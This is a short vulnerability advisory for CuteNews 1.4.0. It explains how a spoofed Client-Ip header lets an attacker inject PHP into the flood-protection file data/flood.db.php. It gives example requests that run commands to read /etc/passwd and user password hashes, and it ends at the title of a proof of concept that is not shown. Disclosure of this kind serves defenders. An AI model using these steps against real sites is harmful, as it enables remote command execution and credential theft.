CuteNews 1.4.0 (possibly prior versions) remote code execution
software:
site: http://cutephp.com/
description: "Cute news is a powerful and easy for using news management
system that use flat files to store its database. It supports comments, archives,
search function, image uploading, backup function, IP banning, flood protection ..."
vulnerability:
in flood protection code, look at this code inside /inc/shows.inc.php:
...
//----------------------------------
// Get the IP
//----------------------------------
$foundip = TRUE;
[!] if (getenv("HTTP_CLIENT_IP")) $ip = getenv("HTTP_CLIENT_IP"); [!]
else if(getenv("REMOTE_ADDR")) $ip = getenv("REMOTE_ADDR");
else if(getenv("HTTP_X_FORWARDED_FOR")) $ip = getenv("HTTP_X_FORWARDED_FOR");
else {$ip = "not detected"; $foundip = FALSE;}
[!] if( $foundip and !ip2long($ip) ){ $ip = "not detected"; $foundip = FALSE;} //ensure that what we have is a real IP [!]
...
many people, I think, simply doesn't know what is HTTP_CLIENT_IP header, you can
easily set and spoof it in a request packet, example:
POST /somescript.php HTTP/1.0
Client-Ip: 127.0.0.1
User-Agent: somebrowser
...
ETC.
this line:
...
if( $foundip and !ip2long($ip) ){ $ip = "not detected"; $foundip = FALSE;}
...
is simply a non-sense, because ip2long($ip) is always true, so we can inject PHP code
in Client-Ip field.
The flood protection features stores data in a temporary file with php extension,
/data/flood.db.php, usually we have something like this:
1126976551|127.0.0.1|1126966862|
but this time we have:
1126976551||1126966862|
;)
so you can launch commands until a user post another comment to an article:
http://[target]/[path]/cute/data/flood.db.php?cmd=cat%20/etc/passwd
to see /etc/passwd file
http://[target]/[path]/cute/data/flood.db.php?cmd=cat%20users.db.php
to see password hashes of any admin / user
and so on...
this is my proof of concept exploit, handle with care eehehehehe:
CuteNews <= 1.4.0 remote commands execution